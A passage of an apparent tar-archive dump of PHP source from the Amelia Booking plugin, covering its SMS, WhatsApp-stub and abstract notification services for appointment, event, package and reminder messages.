$notificationsSMSHistoryRepo->add( [ 'notificationId' => $notification->getId()->getValue(), 'userId' => $data['customer_id'], 'text' => $text, 'phone' => $data['customer_phone'], 'alphaSenderId' => $settingsService->getSetting('notifications', 'smsAlphaSenderId'), ] ); $apiResponse = $smsApiService->send( $data['customer_phone'], $text, AMELIA_ACTION_URL . '/notifications/sms/history/' . $historyId ); if ($apiResponse->status === 'OK') { $this->updateSmsHistory($historyId, $apiResponse); $notificationLogRepo->add( $notification, $data['customer_id'] ); } } catch (QueryExecutionException $e) { } } } } } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Notification $notification * @param array $user * @param array $appointmentArray * @param array $reParsedData * @param bool $logNotification * @param string $sendTo * * * @throws QueryExecutionException * @throws InvalidArgumentException */ private function saveAndSend($notification, $user, $appointmentArray, $reParsedData, $logNotification, $sendTo) { /** @var NotificationLogRepository $notificationsLogRepository */ $notificationsLogRepository = $this->container->get('domain.notificationLog.repository'); /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var SMSAPIService $smsApiService */ $smsApiService = $this->container->get('application.smsApi.service'); if ($user && !empty($appointmentArray['isRetry'])) { /** @var Collection $sentNotifications */ $sentNotifications = $notificationsLogRepository->getSentNotificationsByUserAndEntity( $user['id'], 'sms', $appointmentArray['type'], $appointmentArray['type'] === Entities::PACKAGE ? $appointmentArray['packageCustomerId'] : $appointmentArray['id'] ); if ($sentNotifications->length()) { return; } } $historyId = $notificationsSMSHistoryRepo->add( [ 'notificationId' => $notification->getId()->getValue(), 'userId' => $user ? $user['id'] : null, 'appointmentId' => $appointmentArray['type'] === Entities::APPOINTMENT ? $appointmentArray['id'] : null, 'eventId' => $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : null, 'packageCustomerId' => $appointmentArray['type'] === Entities::PACKAGE ? $appointmentArray['packageCustomerId'] : null, 'text' => $reParsedData['body'], 'phone' => $user ? $user['phone'] : $sendTo, 'alphaSenderId' => $settingsService->getSetting('notifications', 'smsAlphaSenderId') ] ); $logNotificationId = null; if ($logNotification) { $logNotificationId = $notificationsLogRepository->add( $notification, $user ? $user['id'] : null, $appointmentArray['type'] === Entities::APPOINTMENT ? $appointmentArray['id'] : null, $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : null, $appointmentArray['type'] === Entities::PACKAGE ? $appointmentArray['packageCustomerId'] : null, json_encode( [ 'subject' => '', 'body' => $reParsedData['body'], 'icsFiles' => [], 'historyId' => $historyId, ] ) ); } $apiResponse = $smsApiService->send( $sendTo, $reParsedData['body'], AMELIA_ACTION_URL . '/notifications/sms/history/' . $historyId ); if ($apiResponse->status === 'OK') { $this->updateSmsHistory($historyId, $apiResponse); if ($logNotificationId) { $notificationsLogRepository->updateFieldById((int)$logNotificationId, 1, 'sent'); } } } /** * @param int $historyId * @param mixed $apiResponse * @throws QueryExecutionException */ public function updateSmsHistory($historyId, $apiResponse) { /** @var NotificationSMSHistoryRepository $notificationsSMSHistoryRepo */ $notificationsSMSHistoryRepo = $this->container->get('domain.notificationSMSHistory.repository'); $notificationsSMSHistoryRepo->update( $historyId, [ 'logId' => $apiResponse->message->logId, 'status' => $apiResponse->message->status, 'price' => $apiResponse->message->price, 'dateTime' => DateTimeService::getNowDateTimeInUtc(), 'segments' => $apiResponse->message->segments ] ); } } Services/Notification/BasicWhatsAppNotificationService.php 0000666 00000010770 15165412624 0020066 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Domain\Entity\User\Customer; use AmeliaBooking\Domain\Entity\User\Provider; use Exception; use AmeliaBooking\Domain\Entity\Notification\Notification; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Interface BasicWhatsAppNotificationService * * @package AmeliaBooking\Application\Services\Notification */ class BasicWhatsAppNotificationService extends AbstractNotificationService { /** * * @param int $id * * @return Notification|null * */ public function getById($id) { return null; } /** * @param array $appointmentArray * @param bool $forcedStatusChange * @param bool $logNotification * @param bool $isBackend * * @return null */ public function sendAppointmentStatusNotifications($appointmentArray, $forcedStatusChange, $logNotification, $isBackend = false) { return null; } /** * @param array $appointmentArray * @param array $bookingsArray * @param bool $forcedStatusChange * */ public function sendAppointmentEditedNotifications($appointmentArray, $bookingsArray, $forcedStatusChange) { return null; } /** * @param $appointmentArray * * @return null */ public function sendAppointmentRescheduleNotifications($appointmentArray) { return null; } /** * @param array $appointmentArray * @param array $bookingArray * @param bool $logNotification * * @return null */ public function sendBookingAddedNotifications($appointmentArray, $bookingArray, $logNotification) { return null; } /** * Notify the customer when he changes his booking status. * * @param $appointmentArray * @param $bookingArray * * @return null */ public function sendCustomerBookingNotification($appointmentArray, $bookingArray) { return null; } /** * Notify the provider when the customer cancels event booking. * * @param $eventArray * @param $bookingArray * * @return null */ public function sendProviderEventCancelledNotification($eventArray, $bookingArray) { return null; } /** * Returns an array of next day reminder notifications that have to be sent to customers with cron * * @param string $entityType * * @return void */ public function sendNextDayReminderNotifications($entityType) { } /** * @param string $entityType * * @return null */ public function sendScheduledNotifications($entityType) { return null; } /** * @param array $data * @param bool $logNotification * @param bool $notifyCustomers * * @return null */ public function sendPackageNotifications($data, $logNotification, $notifyCustomers = true) { return null; } /** * @param array $appointmentArray * @param Notification $notification * @param bool $logNotification * @param null $bookingKey * * @return mixed */ public function sendNotification($appointmentArray, $notification, $logNotification, $bookingKey = null, $allBookings = null) { return null; } /** * @throws ContainerException * @throws Exception */ public function sendBirthdayGreetingNotifications() { return null; } public function checkRequiredFields() { return false; } public function getTemplates() { return []; } /** * @param $sendTo * @param Notification $notification * @param $dummyData * @return void */ public function sendTestNotification($sendTo, $notification, $dummyData) { } /** * @param Customer $customer * @param string $locale * * @return void * * @throws ContainerValueNotFoundException * @throws \Slim\Exception\ContainerException * @throws Exception */ public function sendRecoveryWhatsApp($customer, $locale, $cabinetType) { } /** * @param Provider $provider * * @param $plainPassword * @return void * */ public function sendEmployeePanelAccess($provider, $plainPassword) { } } Services/Notification/AbstractNotificationService.php 0000666 00000131753 15165412624 0017145 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Notification; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Notification\Notification; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\NotificationSendTo; use AmeliaBooking\Domain\ValueObjects\String\NotificationStatus; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationLogRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationRepository; use AmeliaBooking\Infrastructure\Repository\Notification\NotificationsToEntitiesRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AbstractNotificationService * * @package AmeliaBooking\Application\Services\Notification */ abstract class AbstractNotificationService { /** @var Container */ protected $container; /** @var string */ protected $type; /** * AbstractNotificationService constructor. * * @param Container $container * @param string $type */ public function __construct(Container $container, $type) { $this->container = $container; $this->type = $type; } /** * @param array $appointmentArray * @param Notification $notification * @param bool $logNotification * @param null $bookingKey * * @return mixed */ abstract public function sendNotification( $appointmentArray, $notification, $logNotification, $bookingKey = null, $allBookings = null ); /** * @throws NotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ abstract public function sendBirthdayGreetingNotifications(); /** * * @param string $name * @param string $type * * @return Collection * * @throws QueryExecutionException * @throws InvalidArgumentException */ protected function getByNameAndType($name, $type) { /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var Collection $notifications */ $notifications = $notificationRepo->getByNameAndType($name, $type); /** @var Notification $notification */ foreach ($notifications->getItems() as $notification) { if ($notification->getCustomName() !== null) { $notification->setEntityIds($notificationEntitiesRepo->getEntities($notification->getId()->getValue())); } } return $notifications; } /** * * @param int $id * * @return Notification * * @throws QueryExecutionException * @throws NotFoundException */ public function getById($id) { /** @var NotificationRepository $notificationRepo */ $notificationRepo = $this->container->get('domain.notification.repository'); return $notificationRepo->getById($id); } /** * @param array $appointmentArray * @param bool $forcedStatusChange - True when appointment status is changed to 'pending' because minimum capacity * condition is not satisfied * @param bool $logNotification * @param bool $isBackend * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendAppointmentStatusNotifications($appointmentArray, $forcedStatusChange, $logNotification, $isBackend = false) { /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); // Notify provider /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType( "provider_{$appointmentArray['type']}_{$appointmentArray['status']}", $this->type ); $sendDefault = $this->sendDefault($providerNotifications, $appointmentArray); $appointmentArray['sendCF'] = true; $dontSend = $appointmentArray['type'] === Entities::EVENT && $appointmentArray['status'] === BookingStatus::REJECTED && DateTimeService::getNowDateTimeObject() > DateTimeService::getCustomDateTimeObject($appointmentArray['periods'][count($appointmentArray['periods']) - 1]['periodStart']); /** @var Notification $providerNotification */ foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification && $providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED && !$dontSend) { if (!$this->checkCustom($providerNotification, $appointmentArray, $sendDefault)) { continue; } $this->sendNotification( $appointmentArray, $providerNotification, $logNotification ); } } // Notify customers if ($appointmentArray['notifyParticipants']) { /** @var Collection $customerNotifications */ $customerNotifications = $this->getByNameAndType( "customer_{$appointmentArray['type']}_{$appointmentArray['status']}", $this->type ); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED && !$dontSend) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } // If appointment status is changed to 'pending' because minimum capacity condition is not satisfied, // return all 'approved' bookings and send them notification that appointment is now 'pending'. if ($forcedStatusChange === true) { $appointmentArray['bookings'] = $bookingAS->filterApprovedBookings($appointmentArray['bookings']); } $appointmentArray['isBackend'] = $isBackend; // Notify each customer from customer bookings foreach (array_keys($appointmentArray['bookings']) as $bookingKey) { if (!$appointmentArray['bookings'][$bookingKey]['isChangedStatus'] || ( isset($appointmentArray['bookings'][$bookingKey]['skipNotification']) && $appointmentArray['bookings'][$bookingKey]['skipNotification'] ) ) { continue; } $this->sendNotification( $appointmentArray, $customerNotification, $logNotification, $bookingKey ); } } } } } /** * @param array $appointmentArray * @param array $bookingsArray * @param bool $forcedStatusChange * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendAppointmentEditedNotifications($appointmentArray, $bookingsArray, $forcedStatusChange) { /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); // Notify customers if ($appointmentArray['notifyParticipants']) { // If appointment status is 'pending', remove all 'approved' bookings because they can't receive // notification that booking is 'approved' until appointment status is changed to 'approved' if ($appointmentArray['status'] === 'pending') { $bookingsArray = $bookingAS->removeBookingsByStatuses($bookingsArray, ['approved']); } // If appointment status is changed, because minimum capacity condition is satisfied or not, // remove all 'approved' bookings because notification is already sent to them. if ($forcedStatusChange === true) { $bookingsArray = $bookingAS->removeBookingsByStatuses($bookingsArray, ['approved']); } if (!$appointmentArray['employee_changed']) { $appointmentArray['bookings'] = $bookingsArray; } foreach (array_keys($appointmentArray['bookings']) as $bookingKey) { /** @var Collection $customerNotifications */ $customerNotifications = $this->getByNameAndType( "customer_appointment_{$appointmentArray['bookings'][$bookingKey]['status']}", $this->type ); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } if (( !$appointmentArray['bookings'][$bookingKey]['isChangedStatus'] && !$appointmentArray['employee_changed'] ) || ( isset($appointmentArray['bookings'][$bookingKey]['skipNotification']) && $appointmentArray['bookings'][$bookingKey]['skipNotification'] ) ) { continue; } if (!$appointmentArray['employee_changed']) { $this->sendNotification( $appointmentArray, $customerNotification, true, $bookingKey ); } } } } } if ($appointmentArray['employee_changed']) { // Notify provider /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType( "provider_{$appointmentArray['type']}_{$appointmentArray['status']}", $this->type ); $sendDefault = $this->sendDefault($providerNotifications, $appointmentArray); foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($providerNotification, $appointmentArray, $sendDefault)) { continue; } $this->sendNotification( $appointmentArray, $providerNotification, true ); } } } } /** * @param $appointmentArray * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendAppointmentRescheduleNotifications($appointmentArray) { // Notify customers if ($appointmentArray['notifyParticipants']) { /** @var Collection $customerNotifications */ $customerNotifications = $this->getByNameAndType( "customer_{$appointmentArray['type']}_rescheduled", $this->type ); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } // Notify each customer from customer bookings foreach (array_keys($appointmentArray['bookings']) as $bookingKey) { $this->sendNotification( $appointmentArray, $customerNotification, true, $bookingKey ); } } } } if (!$appointmentArray['employee_changed']) { // Notify provider /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType( "provider_{$appointmentArray['type']}_rescheduled", $this->type ); $sendDefault = $this->sendDefault($providerNotifications, $appointmentArray); foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($providerNotification, $appointmentArray, $sendDefault)) { continue; } $this->sendNotification( $appointmentArray, $providerNotification, true ); } } } } /** * @param $appointmentArray * @param $appointmentRescheduled * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendAppointmentUpdatedNotifications($appointmentArray, $appointmentRescheduled = null) { // Notify customers if ($appointmentArray['notifyParticipants'] && !$appointmentRescheduled) { /** @var Collection $customerNotifications */ $customerNotifications = $this->getByNameAndType( "customer_{$appointmentArray['type']}_updated", $this->type ); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } // Notify each customer from customer bookings foreach (array_keys($appointmentArray['bookings']) as $bookingKey) { if ($appointmentArray['bookings'][$bookingKey]['status'] === BookingStatus::APPROVED && $appointmentArray['status'] === BookingStatus::APPROVED && ($appointmentArray['bookings'][$bookingKey]['isUpdated'] || $appointmentArray['type'] === Entities::EVENT)) { $this->sendNotification( $appointmentArray, $customerNotification, true, $bookingKey ); } } } } } if (!empty($appointmentArray['employee_changed'])) { $appointmentArray['providerId'] = $appointmentArray['employee_changed']; } if ($appointmentArray['status'] === BookingStatus::APPROVED) { /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType( "provider_{$appointmentArray['type']}_updated", $this->type ); $sendDefault = $this->sendDefault($providerNotifications, $appointmentArray); foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($providerNotification, $appointmentArray, $sendDefault)) { continue; } $this->sendNotification( $appointmentArray, $providerNotification, true ); } } } } /** * @param array $appointmentArray * @param array $bookingArray * @param bool $logNotification * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendBookingAddedNotifications($appointmentArray, $bookingArray, $logNotification) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $defaultStatus = $appointmentArray['status']; if ($appointmentArray['type'] !== Entities::EVENT && $defaultStatus === BookingStatus::APPROVED) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); $service = $serviceRepository->getById($appointmentArray['serviceId']); $defaultStatus = ($service->getSettings() && !empty(json_decode($service->getSettings()->getValue(), true)['general']['defaultAppointmentStatus'])) ? json_decode($service->getSettings()->getValue(), true)['general']['defaultAppointmentStatus'] : $settingsService->getSetting('general', 'defaultAppointmentStatus'); } $customerNotifications = $this->getByNameAndType( "customer_{$appointmentArray['type']}_{$defaultStatus}", $this->type ); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } // Notify customer that scheduled the appointment $this->sendNotification( $appointmentArray, $customerNotification, $logNotification, array_search($bookingArray['id'], array_column($appointmentArray['bookings'], 'id'), true) ); } } // Notify provider $providerNotifications = $this->getByNameAndType( "provider_{$appointmentArray['type']}_{$appointmentArray['status']}", $this->type ); $sendDefault = $this->sendDefault($providerNotifications, $appointmentArray); foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification && $providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($providerNotification, $appointmentArray, $sendDefault)) { continue; } $allBookings = null; if ($appointmentArray['type'] === Entities::EVENT) { $allBookings = $appointmentArray['bookings']; $appointmentArray['bookings'] = [$bookingArray]; } $this->sendNotification( $appointmentArray, $providerNotification, $logNotification, null, $allBookings ); } } } /** * Notify the customer when he changes his booking status. * * @param $appointmentArray * @param $bookingArray * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendCustomerBookingNotification($appointmentArray, $bookingArray) { // Notify customers if ($appointmentArray['notifyParticipants']) { $customerNotifications = $this->getByNameAndType("customer_{$appointmentArray['type']}_{$bookingArray['status']}", $this->type); $sendDefault = $this->sendDefault($customerNotifications, $appointmentArray); foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($customerNotification, $appointmentArray, $sendDefault)) { continue; } // Notify customer $bookingKey = array_search( $bookingArray['id'], array_column($appointmentArray['bookings'], 'id'), true ); $this->sendNotification( $appointmentArray, $customerNotification, true, $bookingKey ); } } } } /** * Notify the provider when the customer cancels event booking. * * @param $eventArray * @param $bookingArray * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendProviderEventCancelledNotification($eventArray, $bookingArray) { $providerNotifications = $this->getByNameAndType( "provider_event_canceled", $this->type ); $eventArray['bookings'] = [$bookingArray]; $sendDefault = $this->sendDefault($providerNotifications, $eventArray); foreach ($providerNotifications->getItems() as $providerNotification) { if ($providerNotification && $providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED) { if (!$this->checkCustom($providerNotification, $eventArray, $sendDefault)) { continue; } $this->sendNotification( $eventArray, $providerNotification, false, null ); } } } /** * Returns an array of next day reminder notifications that have to be sent to customers with cron * * @param string $entityType * * @return void * @throws QueryExecutionException * @throws InvalidArgumentException * @throws Exception */ public function sendNextDayReminderNotifications($entityType) { /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $customerNotifications = $this->getByNameAndType("customer_{$entityType}_next_day_reminder", $this->type); $customerNotifications2 = $this->getByNameAndType("customer_{$entityType}_scheduled", $this->type); foreach ($customerNotifications2->getItems() as $notification) { $customerNotifications->addItem($notification); } $reminderStatuses = ['approved']; if ($settingsService->getSetting('notifications', 'pendingReminder')) { $reminderStatuses[] = 'pending'; } $reservations = new Collection(); /** @var Notification $customerNotification */ foreach ($customerNotifications->getItems() as $customerNotification) { // Check if notification is enabled and it is time to send notification if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED && $customerNotification->getTime() && DateTimeService::getNowDateTimeObject() >= DateTimeService::getCustomDateTimeObject($customerNotification->getTime()->getValue()) ) { switch ($entityType) { case Entities::APPOINTMENT: $reservations = $notificationLogRepo->getCustomersNextDayAppointments( $customerNotification->getId()->getValue(), $customerNotification->getCustomName() === null, $reminderStatuses ); break; case Entities::EVENT: $reservations = $notificationLogRepo->getCustomersNextDayEvents($customerNotification->getId()->getValue(), $customerNotification->getCustomName() === null); break; } $approvedReservations = new Collection(); foreach ($reservations->getItems() as $appointment) { if ($appointment->getStatus()->getValue() === BookingStatus::APPROVED) { $approvedReservations->addItem($appointment); } } $this->sendBookingsNotifications($customerNotification, $approvedReservations, true); } } /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType("provider_{$entityType}_next_day_reminder", $this->type); $providerNotifications2 = $this->getByNameAndType("provider_{$entityType}_scheduled", $this->type); foreach ($providerNotifications2->getItems() as $notification) { $providerNotifications->addItem($notification); } /** @var Notification $providerNotification */ foreach ($providerNotifications->getItems() as $providerNotification) { // Check if notification is enabled and it is time to send notification if ($providerNotification->getStatus()->getValue() === NotificationStatus::ENABLED && $providerNotification->getTime() && DateTimeService::getNowDateTimeObject() >= DateTimeService::getCustomDateTimeObject($providerNotification->getTime()->getValue()) ) { switch ($entityType) { case Entities::APPOINTMENT: $reservations = $notificationLogRepo->getProvidersNextDayAppointments( $providerNotification->getId()->getValue(), $providerNotification->getCustomName() === null, $reminderStatuses ); break; case Entities::EVENT: $reservations = $notificationLogRepo->getProvidersNextDayEvents($providerNotification->getId()->getValue(), $providerNotification->getCustomName() === null); break; } foreach ((array)$reservations->toArray() as $reservationArray) { if (!$this->checkCustom($providerNotification, $reservationArray, true)) { continue; } if ($providerNotification->getCustomName() === null && !$this->checkShouldSend($reservationArray, true, NotificationSendTo::PROVIDER)) { continue; } $reservationArray['sendCF'] = true; $this->sendNotification( $reservationArray, $providerNotification, true ); } } } } /** * @param string $entityType * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendScheduledNotifications($entityType) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var Collection $notifications */ $notifications = $this->getByNameAndType("customer_{$entityType}_follow_up", $this->type); $notifications2 = $this->getByNameAndType("customer_{$entityType}_scheduled_%", $this->type); foreach ($notifications2->getItems() as $notification) { $notifications->addItem($notification); } $notifications2 = $this->getByNameAndType("provider_{$entityType}_scheduled_%", $this->type); foreach ($notifications2->getItems() as $notification) { $notifications->addItem($notification); } $reminderStatuses = ['approved']; if ($settingsService->getSetting('notifications', 'pendingReminder')) { $reminderStatuses[] = 'pending'; } /** @var Notification $notification */ foreach ($notifications->getItems() as $notification) { if ($notification->getStatus()->getValue() === NotificationStatus::ENABLED) { /** @var NotificationLogRepository $notificationLogRepo */ $notificationLogRepo = $this->container->get('domain.notificationLog.repository'); $reservations = new Collection(); switch ($entityType) { case Entities::APPOINTMENT: $reservations = $notificationLogRepo->getScheduledAppointments( $notification, $reminderStatuses ); break; case Entities::EVENT: $reservations = $notificationLogRepo->getScheduledEvents($notification); $currentDateTime = DateTimeService::getNowDateTimeObject(); /** @var Event $event */ foreach ($reservations->getItems() as $eventKey => $event) { if ($notification->getTimeAfter()) { $period = $event->getPeriods()->getItem($event->getPeriods()->length() - 1); $afterPeriodEndDateTime = DateTimeService::getCustomDateTimeObject( $period->getPeriodEnd()->getValue()->format('Y-m-d H:i:s') )->modify("+{$notification->getTimeAfter()->getValue()} seconds"); $lastPossibleNotificationMoment = DateTimeService::getCustomDateTimeObject( $afterPeriodEndDateTime->format('Y-m-d H:i:s') )->modify('+432000 seconds'); if (!($currentDateTime >= $afterPeriodEndDateTime && $currentDateTime <= $lastPossibleNotificationMoment)) { $reservations->deleteItem($eventKey); } } else if ($notification->getTimeBefore()) { $period = $event->getPeriods()->getItem(0); $eventStarts = DateTimeService::getCustomDateTimeObject( $period->getPeriodStart()->getValue()->format('Y-m-d H:i:s') ); $beforePeriodStartDateTime = DateTimeService::getCustomDateTimeObject( $eventStarts->format('Y-m-d H:i:s') )->modify("-{$notification->getTimeBefore()->getValue()} seconds"); if (!($currentDateTime >= $beforePeriodStartDateTime && $currentDateTime <= $eventStarts)) { $reservations->deleteItem($eventKey); } } } break; } $approvedReservations = new Collection(); foreach ($reservations->getItems() as $appointment) { if ($appointment->getStatus()->getValue() === BookingStatus::APPROVED) { $approvedReservations->addItem($appointment); } } $this->sendBookingsNotifications($notification, $approvedReservations, $notification->getTimeBefore() !== null); } } } /** * Send passed notification for all passed bookings and save log in the database * * @param Notification $notification * @param Collection $appointments * @param bool $before * @throws QueryExecutionException * @throws InvalidArgumentException */ private function sendBookingsNotifications($notification, $appointments, $before) { /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var array $appointmentArray */ foreach ($appointments->toArray() as $appointmentArray) { if (!$this->checkCustom($notification, $appointmentArray, true)) { continue; } if ($notification->getCustomName() === null && !$this->checkShouldSend($appointmentArray, $before, $notification->getSendTo()->getValue())) { continue; } $appointmentArray['sendCF'] = true; if ($notification->getSendTo()->getValue() === NotificationSendTo::PROVIDER) { $this->sendNotification( $appointmentArray, $notification, true ); } else { /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); $data = $appointmentArray; $reservationObject = $bookingApplicationService->getReservationEntity($appointmentArray); if ($appointmentArray['type'] === Entities::APPOINTMENT) { $data['bookable'] = $reservationObject->getService()->toArray(); } else { $data['bookable'] = $appointmentArray; } // Notify each customer from customer bookings foreach (array_keys($appointmentArray['bookings']) as $bookingKey) { /** @var CustomerBooking $bookingObject */ $bookingObject = $reservationObject->getBookings()->getItem($reservationObject->getBookings()->keys()[$bookingKey]); $data['booking'] = $bookingObject ? $bookingObject->toArray() : $appointmentArray['bookings'][$bookingKey]; $data['customer'] = $data['booking']['customer']; $data[$appointmentArray['type']] = $appointmentArray; $data['paymentId'] = $appointmentArray['bookings'][$bookingKey]['payments'][0]['id']; $appointmentArray['bookings'][$bookingKey]['payments'][0]['paymentLinks'] = $paymentAS->createPaymentLink($data, $bookingKey); $this->sendNotification( $appointmentArray, $notification, true, $bookingKey ); } } } } /** * Check if schedule default notification should be sent * * @param array $appointmentArray * @param bool $before * @param string $sendTo * * @throws QueryExecutionException * @throws InvalidArgumentException * * return bool * */ private function checkShouldSend($appointmentArray, $before, $sendTo) { $time = $before ? 'timeBefore' : 'timeAfter'; $entityId = $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : $appointmentArray['serviceId']; $notifications = $this->getByNameAndType("{$sendTo}_{$appointmentArray['type']}_scheduled_%", $this->type); $parentId = $appointmentArray['parentId']; return empty( array_filter( $notifications->toArray(), function ($a) use (&$entityId, &$time, &$parentId) { return $a['customName'] && $a[$time] && $a['sendOnlyMe'] && ($a['entityIds'] === null || in_array($entityId, $a['entityIds']) || ($parentId && in_array($parentId, $a['entityIds']))); } ) ); } /** * Check if custom notification should be sent * * @param Notification $notification * @param array $appointmentArray * * @return bool * */ private function checkCustom($notification, $appointmentArray, $sendDefault) { if (!$sendDefault && !$notification->getCustomName()) { return false; } if ($notification->getCustomName() && $notification->getEntityIds()) { $entityId = $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : $appointmentArray['serviceId']; if (!in_array($entityId, $notification->getEntityIds())) { if (!in_array($appointmentArray['parentId'], $notification->getEntityIds())) { //Shouldn't be sent return false; } } } return true; } /** * Check if default notification should be sent * * @param Collection $notifications * @param array $appointmentArray * * @return bool * */ private function sendDefault($notifications, $appointmentArray) { $entityId = $appointmentArray['type'] === Entities::EVENT ? $appointmentArray['id'] : $appointmentArray['serviceId']; $parentId = $appointmentArray['parentId']; return empty( array_filter( $notifications->toArray(), function ($a) use (&$entityId, &$parentId) { return $a['customName'] && $a['sendOnlyMe'] && ($a['entityIds'] === null || in_array($entityId, $a['entityIds']) || ($parentId && in_array($parentId, $a['entityIds']))); } ) ); } /** * @param array $data * @param bool $logNotification * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function sendPackageNotifications($data, $logNotification, $notifyCustomers = true) { /** @var Collection $customerNotifications */ $customerNotifications = $this->getByNameAndType( "customer_package_" . $data['status'], $this->type ); $data['isForCustomer'] = true; foreach ($customerNotifications->getItems() as $customerNotification) { if ($customerNotification->getStatus()->getValue() === NotificationStatus::ENABLED && $notifyCustomers) { $this->sendNotification( $data, $customerNotification, $logNotification ); } } /** @var Collection $providerNotifications */ $providerNotifications = $this->getByNameAndType( "provider_package_" . $data['status'], $this->type ); $data['isForCustomer'] = false; foreach ($providerNotifications->getItems() as $providerNotification) { if 